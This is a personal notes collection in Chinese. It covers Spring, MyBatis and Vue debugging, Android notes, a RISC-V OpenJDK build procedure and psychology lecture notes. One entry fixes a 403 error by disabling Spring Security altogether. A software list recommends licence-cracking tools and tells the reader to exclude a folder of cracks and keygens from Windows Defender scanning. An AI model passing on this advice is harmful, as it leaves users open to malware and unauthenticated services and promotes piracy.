<insert id="insertCandidate" useGeneratedKeys="true">
    insert into candidates (project_id, candidate_name, describe_msg, vote_number)
    values (#{list.projectId},#{list.candidateName},#{list.describeMsg},0);
</insert>

解决方案：

因为是数组形式插入的，所以这种写法是不对的，还要在 xml 文件中进行循环遍历取值才能够批量插入。代码如下：

    <insert id="insertCandidate" useGeneratedKeys="true">
        insert into candidates (project_id, candidate_name, describe_msg, vote_number) values
        <foreach item="list" collection="list" separator=",">
            (#{list.projectId},#{list.candidateName},#{list.describeMsg},0)
        </foreach>;
    </insert>
        /* item 里面填入 Mapper 文件传过来的 list 参数， collection 则为集合的类型， set，list 之类的*/
        /* separator 填入分隔符，需要符合 mysql 的语法规范，最后循环出来结果如下： */
        /* insert into candidates (project_id, candidate_name, describe_msg, vote_number)
           values (XXX,XXX,XXX,0),(XXX,XXX,XXX,0),(XXX,XXX,XXX,0),(XXX,XXX,XXX,0) */

三十、关于发出的请求总是404的问题

解决方案：

一定要检查自己发出请求的时候，是不是完整的后台代码路径。后台代码里类上的路径很容易被忽略！

三十一、关于在页面上进行增删改查后刷新数据表的方法

参考链接：https://juejin.im/entry/6844903798620553224

采用的方法3

<template>
  <div id="app">
    <router-view v-if="isRouterAlive"></router-view>
  </div>
</template>

<script>
export default {
  name: "app",
  provide () {
    return {
      reload: this.reload
    }
  },
  data () {
    return {
      isRouterAlive: true
    }
  },
  methods: {
    reload () {
      this.isRouterAlive = false
      this.$nextTick(() => this.isRouterAlive = true)
    }
  }
}
</script>

<style>
</style>

依据代码解析，大概应该是如果当前路由被激活（事实上是一定激活的，不然不可能看得到页面，也就是说，看到页面的时候 isRouterAlive 是一定为 true 的），然后将其赋值为 false 使页面短暂不可见，然后随即又赋值为 true ，期间 Vue 的组件被创建和销毁，以达到刷新的目的。但是 this.$nextTick 这个方法是个什么东西暂时不知道。

三十二、关于前端页面数据表格中点击编辑，数据传不到对话框中内嵌表单的输入框默认值的问题

解决方案：

有一个非常邪道的方法，点击编辑的时候会绑定一个事件，将所有的数据传入到此事件中，然后赋给表单的数据项中，再在对话框里采用表单的数据项就可以了。

不能在 data 中直接赋值 table 里面的数据，因为 table 里面的每一项是不一样的，动态的，会变的，其中 Element-UI 更是有一个叫 index 和 row 的东西，直接限制了这种做法。代码如下：

export default {
  inject: ['reload'],
  name: "ShowJudges",
  data() {
    return {
      tableData: [{
        judgeId: '',
        judgeName: '',
        judgePwd: '',
        projectId: '',
        hasVoted: ''
      }],
      dialogFormVisible: false,
      form: {
        judgeName: '',
        judgePwd: '',
        hasVoted: ''
      },
      formLabelWidth: '120px'
    }
  },
  methods: {
    handleEdit(index, row, boolean) {
      this.dialogFormVisible = boolean
      this.form.judgeName = row.judgeName
      this.form.judgePwd = row.judgePwd
      this.form.hasVoted = row.hasVoted
      console.log(this.form.hasVoted);
    }

三十三、关于 Radio 中不能根据数据项自动默认选中选项的问题

<el-form-item label="投票权" :label-width="formLabelWidth">
  <el-radio v-model="form.hasVoted" label="false">有</el-radio>
  <el-radio v-model="form.hasVoted" label="true">无</el-radio>
</el-form-item>

<!--这里仅展示有关的代码段-->

form: {
    judgeName: '',
    judgePwd: '',
    hasVoted: ''
}
        
handleEdit(index, row, boolean) {
      this.dialogFormVisible = boolean
      this.form.judgeName = row.judgeName
      this.form.judgePwd = row.judgePwd
      this.form.hasVoted = row.hasVoted
},

解决方案：

记住，= 后面如果没有使用 v-bind 绑定属性，那么系统默认就是使用字符串！哪怕是 false 或者 true 这种东西，也只会当成字符串处理。所以一定要记得加上 v-bind ！

在两个 label 前面加上 : 即可。

三十四、关于使用 fastjson 时，其自动过滤掉值为 null 的字段名的问题

如题，如果想要其转成 JSON 时仍然保留值为 null 的字段，需要在 toJSONString(param1, param2) 的 param2 中添加一个配置： SerializerFeature.WriteMapNullValue 。示例如下：

return JSON.toJSONString(judge, SerializerFeature.WriteMapNullValue)

这样既可保留值为 null 的字段。

参考链接：

https://blog.csdn.net/SongSir001/article/details/84656579?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

三十五、 关于 POST 请求爆 403 Forbidden 的问题

这个问题困扰了我很久，最后请求哥哥帮助才解决。

是 Spring Security 的问题， Security 在有客户端发起请求的时候会将这些请求先过滤一遍，如果遇到有不合理的请求（可能是没有经过授权或者其他什么原因，目前尚不清楚），会直接进行拦截，如发一个 403 打回去，后台根本拿不到这个请求进行处理。

解决方案：

注释 Spring Security 。当然这是最为极端的方法，可以在 Security 中添加白名单从而使 Security 通过这些请求。但是目前没有时间去了解怎样进行操作，暂时先注释掉了。以上情况只针对于前端和后端已经进行了跨域处理的情况，如果未进行跨域处理，则还会爆出其他异常情况。

三十六、关于 @RequestBody ， JSON 数组转为 Java 对象 List ，以及连带的 Converter 和泛型擦除问题

@RequestBody 是 SpringBoot 中自带的一个将 JSON 转化为 Java 对象的一个注解，也就是说，当在 Controller 层的接收参数前加上 @RequestBody 时，这个参数在 SpringBoot 内部就已经由 JSON 转化为了 Java 对象，因此这个注解修饰的对象应该是，包含与 JSON 传过来的字段名相对应的后台实体类对象，所以不需要再进行 JSON 转对象处理。

而这个注解有些对象是不能进行自动转化的，比较特殊。不能进行自动转化的条件：

  • 包含泛型
  • 实体类中含有 Date 诸如此类的必须使用的字段

因为 JSON 数组转为 Java 对象 List 这个调用中，本身 List 是含有泛型的，所以需要实现一个接口，即 Converter ，以自己手动进行 JSON 转对象的正确处理，代码如下：

import com.alibaba.fastjson.JSON;
import com.fasterxml.jackson.databind.JavaType;
import com.fasterxml.jackson.databind.type.TypeFactory;
import com.fasterxml.jackson.databind.util.Converter;
import com.tinysnow.bean.Candidate;
import org.springframework.stereotype.Component;

import java.util.List;

/**
 * @author TinySnow
 */
@Component
public class String2CandidateListConverter implements Converter {
    @Override
    public List convert(String s) {
        return JSON.parseArray(s, Candidate.class);
    }

    @Override
    public JavaType getInputType(TypeFactory typeFactory) {
        return null;
    }

    @Override
    public JavaType getOutputType(TypeFactory typeFactory) {
        return null;
    }
}

后两个方法可以不要。这是 JSON 数组转为 Java 对象 List 最为正规和规范的写法。

之所以不能包含泛型，是因为 Java 在设计之初的泛型擦除机制，即在源码阶段指定的泛型，在编译出来的字节码中被擦除了，不知道这个泛型到底是什么。而不能包含 Date 类型，是因为 Date 在转化时需要经过计算和格式确定。

注意： Converter 转化成对象时，这个对象的实体类里不能有基础类型，即 int, boolean 等，需要用其对应的包装对象 Integer, Boolean 等。

三十七、关于发起请求时参数传递的形式

搞清楚： x-www-form-urlencoded 的参数传递形式是 Key=Value&Key=Value...

所以在传递到后台时会报错，错误码是 415 ：不支持的媒体类型 (Unsupported media type) 。

而传递到后台的参数形式应该为 JSON 形式，所以需要在请求时修改请求头 Content-Type 为 application/json 。

示例：

axios.post("http://localhost:8088/judge/update", data1, {
  headers: { 'Content-Type': 'application/json'}
}).then(resp => {}).catch(err => {})

其他知识

  1. 将两行合并为一行并移除多余空格，可以使用 Ctrl + Shift + J ；

Android 笔记截图

image_1

image_2

image_3

image_4

image_5

image_6

image_7

image_8

image_9

image_10

image_11

image_12

image_13

image_14

image_15

image_16

image_17

Android 常用闭包

前注

冒号后面一律加最新的发行版版本号。

闭包列表

  • JB 的 anko ：一个使开发Android应用更简单更快捷的库
org.jetbrains.anko:anko-common:

org.jetbrains.kotlin:kotlin-stdlib-jdk7:
  • LitePal：一个Android开源的数据库工具，可以以面向对象的思维操作数据库，用LitePal进行表管理操作是不需要模型类有任何的继承结构，但是进行CRUD操作时必须继承自DataSupport类才可以。
org.litepal.android:core:

CCleaner 清理项

image_1

image_2

image_3

image_4

Recovery + Root 掉落重新刷入方法

  • 选择 F:\Download 下的一个 recovery.img；
    • 通常是 SHRP_vX.X_stable-Official_violet-XXXXXXXXXX.zip 解压之后得到的 recovery.img
  • 右键 Open in Windows Terminal；
    • 或者 PowerShell 或者 cmd 也行
  • 输入命令：
fastboot flash recovery .\recovery.img
  • 等待刷好，进入 Recovery；
  • 选中 Magisk-vXX-X.zip 文件刷入；
  • 开机；
  • 开启 黑域，存储空间隔离，App Ops，Shizuku 等应用；
  • 若有需要，可上 Magisk 查看是否需要更新核心（Core）；
  • 使用。

发送软件清单及其作用解释

温馨提示：

解压过后得到的所有安装程序都不要删了，放在硬盘里，不然以后会吃亏，毕竟也不大。

以及，我给你发的部分破解程序可能会被 Windows 报毒，请在你喜欢的盘里专门建一个文件夹放这些安装包，并把它加入 Windows 的清理白名单。

具体流程如下：

建立好文件夹以后，进入 设置 > 更新与安全 > Windows 安全中心 > 打开 Windows 安全中心 > 病毒和威胁防护 > 管理设置 > 添加或删除排除项 > 添加排除项 > 文件夹 然后找到你的文件夹。

以后有注册机，破解器啥的都扔这里面，因为这些东西多半没有危害，但是大概率会被 Windows 报毒。

7z

一款轻量级解压软件。非常好用。没有广告。

Apache-tomcat

开源服务器，一搜就知道了。

Bandicam

一个录屏软件，没有附加的破解器，可能去要你自己去找，但是比较好用。

Clash for Windows

一个翻墙代理软件。以后我会教你用，你现在先放着吧。

CLion

JetBrains 家的 C 和 C++ 编译器，差不多与 Virtual Studio 齐名，但是初用需要配置一些东西，我后面会教你。不用着急。

Docker

一个企业级镜像容器，你工作以后绝对会用到。

Git

老出名了，分布式版本控制工具，以后绝对绝对会用到。工作要么会用 SVN 要么用 Git ，但是 SVN 不是分布式的。

JDK

Java Development Kits ，看名字就知道了，Java 的基本环境，但是不是安装了就用，还要配环境变量，你想搞了我会教你，或者你自己上网搜也行，毕竟一大把。

KeePass

一个开源的密码管理软件。非常非常好用，我现在就在用，密码各不一样，都是用这个软件自动填充的，自己都不用输密码。但是可能会有一点点麻烦，我觉得以你的性格估计不会用，看你放不放吧。

Listary

一个非常非常好用的文件查找工具。全局搜索的。你不知道自己文件放哪儿的头疼时候最有用。双击左 Ctrl 可以全局搜索，速度非常非常快。

microKMS

一个破解 Windows， Office 正版验证的工具。

一个可视化数据库管理工具，还算比较好用。听说另一款 SQLyog 也比较好用，但是没试过。

这个东西有两个，还有一个是用来破解正版的补丁。

Node

一个划时代的前端管理程序。大概率会用到。在他出来之前，前端的未来是一片黑暗的。

PostMan Agent

一个用来测试网络协议的工具，很出名。POST GET DELETE 什么的都能测。

PotPlayer

非常好用的一个播放器。不要更新版本了，好像更新后会有广告。反正这个版本已经够用了，有的功能还用不完。

Qbittorrent

一个P2P种子下载器，目前最好用的。不要用迅雷！！！

Typeroa

一个 MarkDown 的写作和阅读工具。非常非常好用，这个清单就是给你用这个写的。

VMware

一个虚拟机软件。至于虚拟机是什么，你自己去了解好了，说起来有点多。你以后如果要学 Linux 可能会用到，如果不用这个也行，但是我觉得这个比隔壁的 VirtualBox 好用。

XMind ZEN

一个思维导图软件。我个人觉得比旗舰系列的要好看，就下的 ZEN 版本。

如果不想用软件，也可以上一个网站，叫 ProcessOn 。但是要注册账号，文件数也有限制。

两个，有一个是用来破解的。

XShell

一个用来连接远程服务器的便携式软件。比 cmd 或者 PowerShell 好用一点，个人感觉。

腾讯 QQ with NtrQQ

一个 QQ 魔改版，改得很好用。去掉了广告， QQ 秀什么乱七八糟的玩意儿。前些年因为改得太轻量好用，收到了腾讯的律师函和警告，所以也就不再更新了，我现在用的就是这个。虽然不咋更新了，但是还是需要的功能都有。我电脑上 QQ 也只用来聊天，不搞其他玩意儿，所以也够用了，看你要不要安装。

因为不更新了，所以 QQ 的新版表情收不到，比如你经常发的捂脸笑哭那个表情，能听到消息提示和听到提示音，但是看不到消息。酌情考虑吧。

Mybatis

一个基于 Java 的 ORM 框架，负责数据库持久层的，简单来讲就是使程序员在工程项目中操作数据库时变得更简单。

RUP

一个专业的卸载软件。非常好用，强烈推荐，以后卸载软件最好都用它，才能卸载干净。不然留一堆垃圾在你电脑上想想都难受。

Sublime Text

一个代码编辑软件，类似于 Virtual Studio Code ，但是听说 VS Code 更好用。

CCleaner

一个电脑清理软件，自从被收购之后好像变得不太行了，这个是旧版，也很好用了。

但是你个笨蛋注意不要把自己 Cookie 什么的给清了，倒是别哭着找我，哼。

Telegram ( tsetup.exe )

我给你推荐过的那个软件，你说你用不习惯的那个。

犹豫了一下我还是放进来了。看你吧。这个是 Windows 桌面版。

本来我的生活记录都放在上面的，但是你说你用不习惯也就算了。

Tic-tac-toe Game Note of React

The translation of title in Chinese: 井字棋游戏——关于 React 的笔记

Note

About the constructor

Original text: In JavaScript classes, you need to always call super when defining the constructor of a subclass. All React component classes that have a constructor should start with a super(props) call.

About communication

  • To collect data from multiple children, or to have two child components communicate with each other, you need to declare the shared state in their parent component instead. The parent component can pass the state back down to the children by using props; this keeps the child components in sync with each other and with the parent component.

About the immutability

Original text: Detecting changes in mutable objects is difficult because they are modified directly. This detection requires the mutable object to be compared to previous copies of itself and the entire object tree to be traversed. The main benefit of immutability is that it helps you build pure components in React. Immutable data can easily determine if changes have been made, which helps to determine when a component requires re-rendering.

  • We must keep some history data about user during coding to avoid that user can not back to previous step. That is to say, we must find some ways to save this kind of extra data. So the immutability is extremely important and significant.

About the key of dynamic lists

Original text: It’s strongly recommended that you assign proper keys whenever you build dynamic lists. If you don’t have an appropriate key, you may want to consider restructuring your data so that you do. If no key is specified, React will present a warning and use the array index as a key by default. Using the array index as a key is problematic when trying to re-order a list’s items or inserting/removing list items. Explicitly passing key={i} silences the warning but has the same problems as array indices and is not recommended in most cases. Keys do not need to be globally unique; they only need to be unique between components and their siblings

SolutionsAndSteps

Solutions

    • 报错信息： fatal error: ld terminated with signal 11 [Segmentation fault], core dumped

      image2

    • 解决方案： 进 Makefile 给 CFLAGS 加上 -fPIC 参数，然后重新 Make clean && make && make install。

    • 报错信息：
    ==> Verifying source file signatures with gpg...
    mumble-1.4.230.tar.gz ... FAILED (unknown public key 25F63C66245DFC60)
==> ERROR: One or more PGP signatures could not be verified!
==> ERROR: Could not download sources.

    • 解决方案：

      直接导入公钥即可。

      pgp –recv-keys 25F63C66245DFC60

    • 报错信息： image5

    • 解决方案：

      直接改权限。

Steps

  1. cat /etc/os-release

cp /etc/apt/sources.list /etc/apt/sources.list.bak

vim /etc/apt/sources.list

  2. 18.04 阿里云镜像

    deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

    20.04 阿里云镜像

    deb http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse

  3. apt update

apt install tmux

tmux new -s work

apt install proxychains4

vim /etc/proxychains4.conf

  4. 修改

    socks5 10.11.73.125 7890
http 10.11.73.125 7890

  5. cp /mnt/e/Download/riscv32-glibc-ubuntu-18.04-nightly-2022.05.15-nightly.tar.gz ./

tar -xzvf riscv32-glibc-ubuntu-18.04-nightly-2022.05.15-nightly.tar.gz

apt install autoconf automake autotools-dev curl libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev git libglib2.0-dev libfdt-dev libpixman-1-dev libncurses5-dev libncursesw5-dev ninja-build python3 autopoint pkg-config zip unzip screen make libxext-dev libxrender-dev libxtst-dev libxt-dev libcups2-dev libfreetype6-dev mercurial libasound2-dev cmake libfontconfig1-dev python3-pip gettext

proxychains4 pip3 install docwriter

proxychains4 wget https://download.qemu.org/qemu-5.2.0.tar.xz

tar xvJf qemu-5.2.0.tar.xz

cd qemu-5.2.0/

./configure --target-list=riscv32-softmmu,riscv32-linux-user --prefix=/root/qemu

make -j && make install

/root/qemu/bin/qemu-system-riscv32 --version

mkdir build_ext_libs_riscv32 && cd build_ext_libs_riscv32

proxychains4 git clone --depth=1 https://github.com/libffi/libffi

proxychains4 git clone --depth=1 https://github.com/apple/cups

proxychains4 git clone --depth=1 https://github.com/libexpat/libexpat

proxychains4 git clone --depth=1 https://github.com/madler/zlib

proxychains4 git clone --depth=1 https://github.com/glennrp/libpng

proxychains4 wget https://download.savannah.gnu.org/releases/freetype/freetype-2.10.4.tar.gz && tar -xzvf freetype-2.10.4.tar.gz && mv freetype-2.10.4 freetype2 && rm -f freetype-2.10.4.tar.gz

proxychains4 git clone -b json-c-0.13 --depth=1 https://github.com/json-c/json-c

proxychains4 git clone --depth=1 https://gitlab.freedesktop.org/fontconfig/fontconfig

proxychains4 git clone --depth=1 https://github.com/alsa-project/alsa-lib

proxychains4 git clone --depth=1 https://github.com/karelzak/util-linux

mkdir xorg && cd xorg && proxychains4 wget https://raw.githubusercontent.com/openjdk-riscv/xorg-util-modular/riscv32/xorg_modules && proxychains4 git clone --depth=1 -b riscv32 https://github.com/openjdk-riscv/xorg-util-modular util/modular

cd ..

vim build_ext_libs_32.sh






vim zlib/Makefile






proxychains4 git clone https://github.com/openjdk-riscv/jdk11u.git

cd jdk11u

git checkout 96943a

proxychains4 wget https://download.java.net/openjdk/jdk10/ri/jdk-10_linux-x64_bin_ri.tar.gz

tar -xzvf jdk-10_linux-x64_bin_ri.tar.gz

cd ~/jdk11u

bash configure --openjdk-target=riscv32-unknown-linux-gnu --disable-warnings-as-errors --with-sysroot=/root/riscv/sysroot --with-boot-jdk=/root/jdk-10 --with-native-debug-symbols=none --with-jvm-variants=zero --with-jvm-interpreter=cpp --prefix=$PWD/nodebug_32 --with-toolchain-path=/root/riscv/bin

make JOBS=$(nproc) && make install

cd nodebug_32/jvm/openjdk-11.0.9-internal/bin

/root/qemu/bin/qemu-riscv32 -L /root/riscv/sysroot ./java -version

  6. build_ext_libs_32.sh 请注意，从 zlib 开始，需要单独编译，因为 zlib 需要 configure 之后加一个 CFLAGS：-fPIC，接上述第 54 行的命令，然后加上 -fPIC 参数，然后，此脚本的内容也需要进行相应更改，更改后的脚本在后面。执行最后的编译 xrog 时，注意多加了一个 --autoresume ./resume.txt 参数，而且可能会爆非常多错误，一个一个解决。

    #!/bin/bash

# exit on error
set -e

if [ ! -n "$1" ];then
    echo "Please designate riscv toolchain path"
    exit 1
else
    riscvpath=$1
    echo "riscv toolchian path was set as: $riscvpath"
fi

export PATH=$riscvpath/bin:$PATH
export sysroot=$riscvpath/sysroot
export prefix=$sysroot/usr

# libffi
cd libffi && ./autogen.sh && ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix 

make && make install

cd -

# cups
cd cups && ./configure --host=riscv32-unknown-linux-gnu --disable-ssl --disable-gssapi --disable-avahi --disable-libusb --disable-dbus --disable-systemd

make CFLAGS="-Wno-error=sign-conversion -Wno-error=format-truncation" CXXFLAGS="-Wno-error=sign-conversion -Wno-error=format-truncation" && make install DSTROOT=$sysroot

cd -

# libexpat
cd libexpat/expat && ./buildconf.sh &&./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix

make && make install

cd -

# zlib
cd zlib && CHOST=riscv32 CC=riscv32-unknown-linux-gnu-gcc AR=riscv32-unknown-linux-gnu-ar RANLIB=riscv32-unknown-linux-gnu-ranlib ./configure  --prefix=$prefix

make && make install

echo "Success. exit"

    修改后的脚本：

    #!/bin/bash

# exit on error
set -e

if [ ! -n "$1" ];then
    echo "Please designate riscv toolchain path"
    exit 1
else
    riscvpath=$1
    echo "riscv toolchian path was set as: $riscvpath"
fi

export PATH=$riscvpath/bin:$PATH
export sysroot=$riscvpath/sysroot
export prefix=$sysroot/usr

# zlib
cd zlib 

make clean && make && make install

cd -

# libpng
cd libpng && ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix

make && make install

cd -

# freetype2
cd freetype2 && ./autogen.sh && ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix --with-brotli=no --with-harfbuzz=no --with-bzip2=no

make && make install

cd -

# json-c
cd json-c && ./autogen.sh &&  ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix

make && make install

cd -

# fontconfig
cd fontconfig && PKG_CONFIG_PATH=$prefix/lib/pkgconfig ./autogen.sh --host=riscv32-unknown-linux-gnu --prefix=$prefix

make && make install

cd -

# alsa-lib
cd alsa-lib && libtoolize --force --copy --automake && aclocal && autoheader && automake --foreign --copy --add-missing && autoconf && ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix

make && make install

cd -

# util-linux
cd util-linux && ./autogen.sh && ./configure --host=riscv32-unknown-linux-gnu --prefix=$prefix --disable-all-programs --enable-libuuid

make && make install || true

cd -

# xorg
cd xorg && CONFFLAGS="--host=riscv32-unknown-linux-gnu --disable-malloc0returnsnull" ./util/modular/build.sh  --autoresume ./resume.txt --modfile ./xorg_modules --clone $prefix

echo "Success. exit"

临时

try {
    val severadress: InetAddress = InetAddress.getByName(IPadress)
    val socket: DatagramSocket = DatagramSocket(port, severadress)
    val packet: DatagramPacket = DatagramPacket(
        Message.toByteArray(),
        Message.toByteArray().size, severadress, port
    )
    socket.send(packet)
    Log.d("server", "sending...")
    socket.close()
} catch (e: Exception) {
    e.printStackTrace()

学习

所有日常学习内容，收录于此。

耶鲁大学：心理学导论

大脑

思维和行为

  • 都是神经元的反应集

  • 并没有另外一个你

  • 心里反应了大脑的运动

  • 原因

    • 儿童学习语言

一元 vs 二元

  • 笛卡尔认为有些事情机器做不到

    • 选择
    • 他认为与拥有身体相比，拥有心理是肯定的

  • 二元论镶嵌在我们的语言中

    • 一个人即使经历了身体的巨变，也还是之前的人

大脑的结构

神经科学的目标

  • 解释大脑如何运转，如何产生思维

神经元

组成

  • 树突：接受来自其他神经元的刺激信号

    • 可能刺激性，也可能是抑制性

  • 降低神经元产生神经冲动的可能

  • 胞体：将刺激信号组合起来

    • 刺激性 -> 加，抑制性 -> 减

  • 达到某个数量级，就会对神经元产生刺激

  • 轴突：神经刺激沿着轴突传递

    • 比树突长很多

    • 有的能从脊髓延伸到脚趾

  • 髓鞘

    • 包裹轴突，形成绝缘层
化学机制

  • 突触

    • 两个神经元的树突之间的细小缝隙

  • 神经递质

    • 当神经元产生神经冲动之后，轴突释放出的、能够穿透缝隙的化学物质

  • 很多药理都在研究对神经递质的控制

    • 兴奋剂，增加神经递质的作用

      • 百忧解

        • 增加血清素的含量

      • 左旋多巴

        • 治疗帕金森，通过血脑屏障进入脑组织，发挥作用

    • 抑制剂，抑制神经递质的量

      • 酒精有抑制作用

        • 在抑制在大脑起兴奋作用的脑组织

      • 安非他命

  • 神经元可以通过这些方式来影响心理活动

大脑如何制造

  • 计算机从业者制造 network，模仿大脑的运行
  • 现在还没有机器能够做到面部识别，或者识别两岁孩子所理解的语言

脑组织

皮层下结构

  • 延脑

    • 心律

  • 小脑

    • 300万个神经元

  • 下丘脑

    • 饥饿，进食

大脑皮层

  • 真正的反应都在大脑皮层

  • 都是褶皱

  • 是所有奇迹发生的地方

  • 我们大脑容量的80%

  • 不同的脑叶

    • 额叶

      • 大脑发育中最高级的部分
      • 在有组织、有方向的活动中，有使活动服从于鉴定意图和冬季的作用
      • 负责思维、演算，与个体的需求和情感相关

    • 枕叶

      • 主要处理视觉信息

    • 颞叶

      • 负责处理听觉信息，也与记忆和情感有关

    • 都存在定位图

      • 电击大脑中的不同位置，发现对应着身体的不同部分

注意

  • 低级神经活动无需大脑参与
    • 婴儿吮吸乳汁

弗洛伊德

大理论

  • 试图对一切作出解释

  • 拒绝承认人类的行为受到意识的控制

    • 支配行为的欲望和动机的由来无从得知

我

  • 本我

    • 吃喝拉撒，保暖，盲目的。
    • 及时满足
    • 刚出生的婴儿只有本我
    • 追求纯粹的快乐

  • 自我，自性

    • 遵循现实原则
    • 在现实中找到追求本我的方法

  • 超我

    • 社会家庭规范的内化
    • 也是盲目的
    • 别干坏事，打压疯狂的性欲和其他欲望，
    • 有些通过梦泄露出来
    • 道德良心和自我理想的额部分

人格发展的五个阶段

  • 每个阶段都与动欲区有关

  • 第一阶段：口腔期

    • 咀嚼，吮吸
    • 太早断奶，容易养成口腔型人格。比如暴饮暴食，口香糖
    • 粘人

  • 第二阶段：肛门期

    • 如果没有进行好的如厕训练，就形成肛门期人格
    • 不愿意排泄粪便
    • 强迫，洁癖

  • 第三阶段：性器官期

    • 导致女性或男性过分男性化

    • 导致女性对关注的过分欲求

    • 俄狄浦斯情结

      • 爱上妈妈，想杀父亲

    • 之后进入潜伏期

  • 第四阶段：潜伏期

    • 6-12 岁
    • 性受到压力
    • 中止对异性的兴趣，倾向与同性者往来

  • 第五阶段：生殖期

    • 青春期到成年期，也是性成熟期
    • 异性爱占优势

防御机制

表现

升华
  • 毕加索绘画
  • 室友拼命学习是因为太久没有做爱
  • 泛起了具体对象，保存了能量
移置
  • 将自己的欲望投射到别人身上
  • 比如我和A生气，但是现实中我没办法向A发脾气，就向B发了脾气
投射
  • 否定自己的欲望，某种自己不能忍受的行为，投射到别人身上
  • 自己是同性恋，迷恋其他男人征服的男人们
合理化
  • 人们做坏事的时候容易把该事合理化
退行
  • 孩子受到伤害的时候容易回到年幼的行为，吮吸手指

目的

  • 维持无意识系统的平衡

失效

  • 歇斯底里
  • 瘫痪
  • 健忘
  • 试图将潜意识抑制的表现

精神分析

  • 问题反映了更深层次的冲突，这个冲突被压抑了

梦

  • 显性梦境
  • 隐性梦境
  • 认为所有的梦都是愿望的显示

无意识存在的原因

  • 绝多大数的大脑活动，心理活动是无意识的

  • 应该问为什么这一小部分的心理活动是有意识的

  • 从进化的角度，要问的是为什么无意识得以进化

    • 欺骗，大多数动物都会欺骗

    • 当黑猩猩受到威胁，它的毛发会竖起来，看起来更加强壮

    • 人类不断利用自己的心理去哄骗他人相信虚假的事情，让别人相信自己更聪明，可靠，性感

    • 我们也进化出了很好的谎言检测机制

      • 别吓唬我，我不是吃素的

    • 怎样成为一个好骗子？

      • 一个好骗子会对自己的谎言深信不疑
      • 最好那些邪恶的动机和目标都是无意识的，这样就不会被别人识破

弗洛伊德的评价

符合现代科学的程度

  • 可以在两种情况下拒绝一个理论
    • 理论本身是错误的
    • 概念模糊
      • he's not even wrong
      • 可证伪性
        • 占星预测之所以不是科学
        • 不是因为它是错误的，而是它 太模糊 连错误都算不上
  • 弗洛伊德的理论无法通过可靠的方式得到证实

可信度

  • 充满争议

    • 《记忆战争》

  • 无意识的重要性不可撼动

  • 心理活动的某些方面的确无意识

    • 语言理解

      • 快速而本能地理解

    • 开车

    • 嚼口香糖

  • 无意识决定我们的喜好

    • 如果人们经过很多障碍才能进入一个 club，他们会更喜欢这个社团

斯金纳

大理论

行为主义学派

  • 受到众多心理学家支持
  • 在斯金纳之前就存在，但斯金纳科学地发展了这些观点
  • 在上世纪 60-70 年代，行为主义非常盛行，斯金纳非常流行

核心观点

  • 非常强调学习的作用

    • 知识等一切都是经验的产物

  • 人性不存在，人类具有无限可塑性

    • 约翰华生：给我一个孩子，在他7岁的时候，我会把他变成一个男人
      • 人的自然属性没有任何区别
      • 极端的平等主义者

  • 反心理主义

    • 认为所谓的内在心理状态，欲望，意愿等，都不科学
    • 目标是建立一门科学，把一切标准化，把不可观测的事情排除在外

  • 生物种群之间不存在太大区别

    • 人类只不过擅长联想，人类与动物并无区别

三个行为学习原则

  • 习惯化

    • 重复暴露在刺激环境中，造成对该刺激反应的刺激降低
    • 人会习惯很多事情，习惯化非常重要，适应机制，可以让你注意到新鲜事物
    • 习惯化是一种学习，即有经验的，非常有用，危险会引起注意
    • 习惯化存在很重要，作为研究人类无法进行语言表达的时候

  • 经典条件作用

    • 在一个刺激和另一个刺激之间构成联结

      • 某种声音，味道，刺激出现

        • 巴甫洛夫的狗

          • 无条件刺激

            • 食物

          • 无条件反应

            • 唾液

          • 由条件刺激

            • 铃声

          • 有条件反应

            • 唾液

          • 自主恢复

        • 小阿尔伯特原来很喜欢老鼠，正在和老鼠玩，华生走到婴儿深厚，开始猛敲一个金属棍，婴儿大哭，无条件刺激。

      • 在所有的动物的实验中都 work

  • 操作性条件作用和工具性条件作用

    • 学习与成功之间的关系

    • 自主选择要做的事情，根据选择的结果，有些选择更容易被采纳

    • 探索动物如何学习，桑代克提出的

      • 小猫在笼子里，按动一个杠杆，就会逃出去。桑代克发现小猫有一个学习的过程，多次尝试，最终成功

    • 比率强化

      • 一定的间隔给一定的奖励
      • 老虎机

  • 部分强化效应 - 假如想训练某人做某事，而即使他们停止训练，仍然会继续做这件事 - 当你的孩子哭着想和你一起睡，最差的拒绝方法是 - NONONO - 孩子就会不停地磨人

行为主义学派反对论

  • 一切都是习得的

    • 先天知识和先天欲望是存在的。现在因素是存在的

  • 物理化学都在研究人们看不到的东西，内部机制内部特征
